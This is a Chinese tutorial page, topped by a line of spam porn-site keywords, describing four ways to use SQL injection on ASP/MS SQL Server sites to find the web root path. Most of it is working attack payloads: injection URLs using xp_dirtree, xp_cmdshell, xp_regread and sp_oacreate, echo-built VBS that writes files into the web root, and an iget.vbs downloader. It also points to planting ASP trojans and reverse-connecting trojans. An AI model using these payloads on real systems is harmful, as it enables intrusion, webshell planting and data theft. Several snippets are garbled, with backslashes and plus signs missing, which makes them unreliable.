国产成人v爽在线免播放观看,日韩欧美色,久久99国产精品久久99软件,亚洲综合色网站,国产欧美日韩中文久久,色99在线,亚洲伦理一区二区

學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 網(wǎng)絡(luò)安全知識(shí) > SQL注入如何取得網(wǎng)站的路徑

SQL注入如何取得網(wǎng)站的路徑

時(shí)間: 若木632 分享

SQL注入如何取得網(wǎng)站的路徑

  以下是OMG小編為大家收集整理的文章,希望對(duì)大家有所幫助。

  如果網(wǎng)站只開(kāi)了80端口,你會(huì)發(fā)現(xiàn)下面的方法是比較有用的

  其中用的方法幾乎都不是我發(fā)現(xiàn)的,文總包括一些注入時(shí)的個(gè)人經(jīng)驗(yàn)和技巧

  方法可以說(shuō)有4種(現(xiàn)在已知的)

  第一種方法:

  這個(gè)是<<怪異的SQL注入>>中介紹的方法

  利用sqlserver的xp_dirtree,好的我們先來(lái)將一下方法,然后再說(shuō)其優(yōu)劣處(在原文的基礎(chǔ)上作了點(diǎn)補(bǔ)充)

  建立表

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

  返回:正常的信息!說(shuō)明建表成功!繼續(xù)!

  (建的比原文的大一點(diǎn),因?yàn)槲矣鲞^(guò)名子很長(zhǎng)的文件,刪除了那個(gè)id,因?yàn)闆](méi)有什么用)

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:' --

  返回:正常信息。說(shuō)明寫(xiě)入C盤(pán)的所有目錄成功了!爽!接下來(lái)就是取表了!暴它出來(lái)。(好像只有暴這種方法了)

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e07

  將 varchar 值 '@Inetpub'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  再依次爆出表中的目錄名稱(chēng)!

  語(yǔ)句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( '@Inetpub'))--

  返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e07

  將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  再依次爆出表中的目錄名稱(chēng)!

  好我們繼續(xù)

  語(yǔ)句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( '@Inetpub','test'))--

  返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e07

  將 varchar 值 'haha'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  再依次爆出表中的目錄名稱(chēng)!

  好了,你應(yīng)該知道怎么做了吧,哈哈,就是把得到的表名添到那個(gè)括號(hào)里,有多少就放多少吧,

  一點(diǎn)技巧:

  有時(shí)候你會(huì)發(fā)現(xiàn)當(dāng)輸入類(lèi)似

  http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  時(shí)不是顯示出錯(cuò),而是網(wǎng)頁(yè)顯示正常

  暈了吧,別緊張哈

  看看0<>(select top 1 paths from dirs) 說(shuō)明返回是一個(gè)數(shù)字,

  哈哈,測(cè)試一下看看是多少吧

  100>(select top 1 paths from dirs)

  返回正常

  哈哈,用這種大于小于的方法很快就能猜出了

  好我們繼續(xù)

  比如當(dāng)出現(xiàn)

  59=(select top 1 paths from dirs)

  返回正常,

  ok,說(shuō)明名字是59

  輸入如下

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( '59'))--

  記得帶上引號(hào)喲

  下面的方法就和原來(lái)的一樣的了

  還有一個(gè)問(wèn)題就是

  有時(shí)候用上面的方法輸入59時(shí),發(fā)現(xiàn)下一次的文件夾還是59

  這個(gè)是怎么回事情呢?

  呵呵,不知道你有沒(méi)有注意過(guò)059和59是一樣的?

  就是這個(gè)原因了,哈哈,

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( '059'))--

  發(fā)現(xiàn)顯示下一個(gè)文件夾名字了,ok

  優(yōu)缺點(diǎn)分析:

  優(yōu)點(diǎn)就是所有的sqlserver用戶(hù)都可以使用,因?yàn)閤p_dirtree適用權(quán)限PUBLIC,

  缺點(diǎn)是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒(méi)有什么順序的,總之在好幾千好幾萬(wàn)個(gè)文件夾里找你想要的文件夾是痛苦的.

  而且你知道了有那個(gè)文件夾也不能保證在根目錄下,實(shí)在是痛苦的一件事情呀,很多時(shí)候是靠運(yùn)氣和耐力.

  祝你成功

  方法二:

  利用xp_cmdshell

  哈哈,這個(gè)大家一定很熟悉了吧,我就簡(jiǎn)單說(shuō)一下

  建立表

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

  返回:正常的信息!說(shuō)明建表成功!繼續(xù)!

  (建的比原文的大一點(diǎn),因?yàn)槲矣鲞^(guò)名子很長(zhǎng)的文件,刪除了那個(gè)id,因?yàn)闆](méi)有什么用

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c: /B/D' --

  返回:正常信息。說(shuō)明寫(xiě)入C盤(pán)的所有目錄成功了!這里用了dir c: /B/D,哈哈,不知道/B/D什么作用就試驗(yàn)試驗(yàn)看

  語(yǔ)句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e07

  將 varchar 值 '@Inetpub'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  再依次爆出表中的目錄名稱(chēng)!

  語(yǔ)句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( '@Inetpub'))--

  返回:Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 80040e07

  將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  再依次爆出表中的目錄名稱(chēng)!

  方法同上,就不說(shuō)了

  有時(shí)候我們也可以用下面的兩個(gè)擴(kuò)展來(lái)干些事情

  1)我們可以利用xp_availablemedia來(lái)獲得當(dāng)前所有驅(qū)動(dòng)器,并存入dirs表中:

  5 ;insert dirs exec master.dbo.xp_availablemedia;--

  我們可以通過(guò)查詢(xún)temp的內(nèi)容來(lái)獲得驅(qū)動(dòng)器列表及相關(guān)信息

  (2)我們可以利用xp_subdirs獲得子目錄列表,并存入dirs表中:

  5 ;insert into dirs exec master.dbo.xp_subdirs 'c:' ;--

  優(yōu)缺點(diǎn)分析:

  很明顯了,這樣就不會(huì)出現(xiàn)xp_dirtree那種所有目錄都放在一起的情況了,只會(huì)顯示一級(jí)目錄,找起來(lái)方便多了.

  缺點(diǎn)也很明顯,只有sa有這個(gè)權(quán)限,也有可能管理員刪除了這個(gè)擴(kuò)展(畢竟太強(qiáng)大了).

  方法三:

  這種方法很好

  下面這個(gè)是原文

  想到了使用adsutil.vbs程序,我是這樣執(zhí)行的

  a';exec master..xp_cmdshell 'cmd /c cscript c:inetpubadminscripsadsutil.vbs enum w3svc/1/root>a.txt';--

  是不是很長(zhǎng)啦通過(guò)它我們可以把iis里面第一個(gè)虛擬web站點(diǎn)的設(shè)置情況(當(dāng)然包括它所在的實(shí)際目錄咯)

  導(dǎo)入到a.txt中

  對(duì)于a.txt的實(shí)際位置默認(rèn)當(dāng)然是c:winntsystem32,其實(shí)這都不是問(wèn)題,不過(guò)遇到管理員把a(bǔ)dsutil.vbs

  刪了或是放到別

  的地方我們就沒(méi)辦法了(不可能自已用echo 命令寫(xiě)一個(gè)吧)

  第二步:用echo命令寫(xiě)下面的代碼到c:中,很多嗎也不算吧

  .....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:read.vbs';--

  .....xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:read.vbs'

  ;--

  .....

  -------------------read.vbs---------------------------------

  set fso1=createobject("scripting.filesystemobject")

  Set WshShell = Wscript.createObject("Wscript.Shell")

  spa=WshShell.Environment("process")("windir")

  set fil =fso1.opentextfile(spa & "system32aa.txt")

  do while not fil.atendofstream

  nr=fil.readline

  if left(nr,4)="Path" then

  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

  exit do

  end if

  loop

  set fil1 =fso1.opentextfile(pa &"dd.asp",2,true)

  fil1.writeline ""

  ---------------cut here-------------------------------------

  第三步:當(dāng)然就是執(zhí)行read.vbs,這樣我們可以把a(bǔ)a.txt中的內(nèi)容讀出來(lái)找到web站點(diǎn)的實(shí)際路徑

  然后寫(xiě)一個(gè)叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯

  執(zhí)行http://x.x.x.x/dd.asp

  返回:xxx

  哈哈,的確是好方法,

  不過(guò)原文好像有點(diǎn)問(wèn)題

  就是

  set fil =fso1.opentextfile(spa %2B "system32aa.txt")

  set fil1 =fso1.opentextfile(pa%2B"dd.asp",2,true)

  兩句提交時(shí)會(huì)出錯(cuò)

  于是我們想到了加號(hào),和&的功能相同

  還有就是寫(xiě)點(diǎn)什么東西到dd.asp呢?寫(xiě)入pa,哈哈

  哈哈,改成了

  -------------------read.vbs---------------------------------

  set fso1=createobject("scripting.filesystemobject")

  Set WshShell = Wscript.createObject("Wscript.Shell")

  spa=WshShell.Environment("process")("windir")

  set fil =fso1.opentextfile(spa "system32aa.txt")

  do while not fil.atendofstream

  nr=fil.readline

  if left(nr,4)="Path" then

  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

  exit do

  end if

  loop

  set fil1 =fso1.opentextfile(pa "dd.asp",2,true)

  fil1.writeline pa

  ---------------cut here--------------------------------------

  因?yàn)橛脼g覽器提交時(shí) 號(hào)被轉(zhuǎn)換成了空格,所以在提交的時(shí)候還應(yīng)該把

  變成%2B,好了,應(yīng)該可以了,如下

  -------------------read.vbs---------------------------------

  set fso1=createobject("scripting.filesystemobject")

  Set WshShell = Wscript.createObject("Wscript.Shell")

  spa=WshShell.Environment("process")("windir")

  set fil =fso1.opentextfile(spa %2B "system32aa.txt")

  do while not fil.atendofstream

  nr=fil.readline

  if left(nr,4)="Path" then

  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

  exit do

  end if

  loop

  set fil1 =fso1.opentextfile(pa %2B "dd.asp",2,true)

  fil1.writeline pa

  ---------------cut here--------------------------------------

  如果發(fā)現(xiàn)1沒(méi)有的話(huà),我們可以該成2,3,4...........

  a';exec master..xp_cmdshell 'cmd /c cscript c:inetpubadminscripsadsutil.vbs enum w3svc/2/root>a.txt';--

  但是這種方法只能在windows2000下使用,因?yàn)?003下新建的網(wǎng)站所在地址不是按照1234來(lái)排列的,好像是隨機(jī)生成的,個(gè)人比較過(guò)幾個(gè)2003下的

  地址,沒(méi)有發(fā)現(xiàn)什么規(guī)律.

  優(yōu)缺點(diǎn)分析:

  同上x(chóng)p_cmdshell不是每一個(gè)用戶(hù)都可以用的!還有一個(gè)問(wèn)題是adsutil文件不一定存在,或者不一定在那個(gè)路徑上,當(dāng)然如果你原意的話(huà)你可以用

  echo寫(xiě)一個(gè)(哈哈,老多老多行的喲),另外的一個(gè)問(wèn)題是,如果主機(jī)上有很多站點(diǎn)怎么辦?我遇到過(guò)一個(gè)有九個(gè)站點(diǎn)的主機(jī),膽識(shí)只有第8個(gè)是有用

  的,暈了吧,很難有人有嗯那個(gè)耐性會(huì)堅(jiān)持到那么多的,早就崩潰了或許.還有就是不能在2003下用!

  不過(guò)說(shuō)實(shí)話(huà),這個(gè)方法的確是一個(gè)好方法

  方法四:

  這個(gè)方法是要飯的提到的,通過(guò)xp_regread等從注冊(cè)表里讀出路徑

  以下推薦,獲取網(wǎng)頁(yè)路徑(通過(guò)存儲(chǔ)過(guò)程達(dá)到對(duì)注冊(cè)表的讀取):

  利用內(nèi)置存儲(chǔ)過(guò)程 xp_regread(讀取注冊(cè)表鍵值,權(quán)限public):

  語(yǔ)句:http://www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

  varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

  SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots , @value_name= / , values=@test OUTPUT insert into paths

  (path) values(@test)

  IIS的默認(rèn)路徑的在注冊(cè)表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots

  利用爆字段將數(shù)據(jù)庫(kù)的值讀出來(lái):

  語(yǔ)句:http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for

  ODBC Drivers 錯(cuò)誤 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 E:www,,201 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的

  列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。

  這說(shuō)明網(wǎng)頁(yè)目錄在E:www,接下來(lái)也可以利用FSO直接寫(xiě)入ASP木馬

  如果得不到網(wǎng)頁(yè)目錄,怎么辦呢?前提你要猜到網(wǎng)站是否使用默認(rèn)WEB,或者使用域名作為WEB。

  declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:

  inetpubwwwrootmkwebdir.vbs -w "默認(rèn) Web 站點(diǎn)" -v "e","e:"'

  在默認(rèn)的WEB站點(diǎn)下創(chuàng)建一個(gè)虛擬目錄E,指向E:盤(pán)下。

  declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:

  inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e browse'

  給虛擬目錄e加上瀏覽屬性不錯(cuò)吧。給自己開(kāi)虛擬服務(wù)。想那些網(wǎng)頁(yè)目錄路徑,頭都快破了。這下給自己一個(gè)天開(kāi)眼了。那傳WEBSHELL利用MS

  SQL為我們的工作告了一段落了,接下來(lái)工作應(yīng)該由你來(lái)了。

  哈哈,方法不錯(cuò)喲,通過(guò)注冊(cè)表來(lái)讀,方便快捷!

  優(yōu)缺點(diǎn)分析:

  優(yōu)點(diǎn)當(dāng)然是方便快捷了。缺點(diǎn)是只能察看默認(rèn)的iis站點(diǎn)的路徑,如果不再默認(rèn)的站點(diǎn)那就無(wú)能為力了(我用regsnape跟蹤過(guò)),如果在2003下

  那就是連默認(rèn)的站點(diǎn)路徑也不顯示了!痛苦中

  順便說(shuō)兩句,實(shí)際上除了找網(wǎng)站路徑的方法外,還是有別的方法來(lái)繼續(xù)入侵的,比如說(shuō)通過(guò)tftp來(lái)上傳反彈木馬,或者是通過(guò)寫(xiě)一個(gè)iget.vbs來(lái)下載你想要的東東

  iget.vbs代碼如下:

  ---------start----------

  Set xPost = createObject("Microsoft.XMLHTTP")

  xPost.Open "GET",LCase(WScript.Arguments(0)),0

  xPost.Send()

  Set sGet = createObject("ADODB.Stream")

  sGet.Mode = 3

  sGet.Type = 1

  sGet.Open()

  sGet.Write(xPost.responseBody)

  sGet.SaveToFile LCase(WScript.Arguments(1)),2

  ----------end-----------

  對(duì)此文的在補(bǔ)充:

  近日發(fā)現(xiàn)對(duì)毛主席大人的指示理解不夠深刻,特在此表示補(bǔ)充

  實(shí)際上上面的各種方法根本就不需要比較了xp_dirtree是最好的,只要這一種方法就夠了

  只是因?yàn)槲耶?dāng)初太..............

  今日將xp_dirtree的秘密再挖一下

  好,我們exec master..xp_dirtree'd:/test'

  假設(shè)我們?cè)趖est里有兩個(gè)文件夾test1和test2在test1里又有test3

  結(jié)果顯示

  subdirectory depth

  test1 1

  test3 2

  test2 1

  哈哈發(fā)現(xiàn)沒(méi)有那個(gè)depth就是目錄的級(jí)數(shù)

  ok了,知道怎么辦了吧

  http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--

  http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:' --

  http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

  只要加上id=1,就是第一級(jí)目錄 。

75374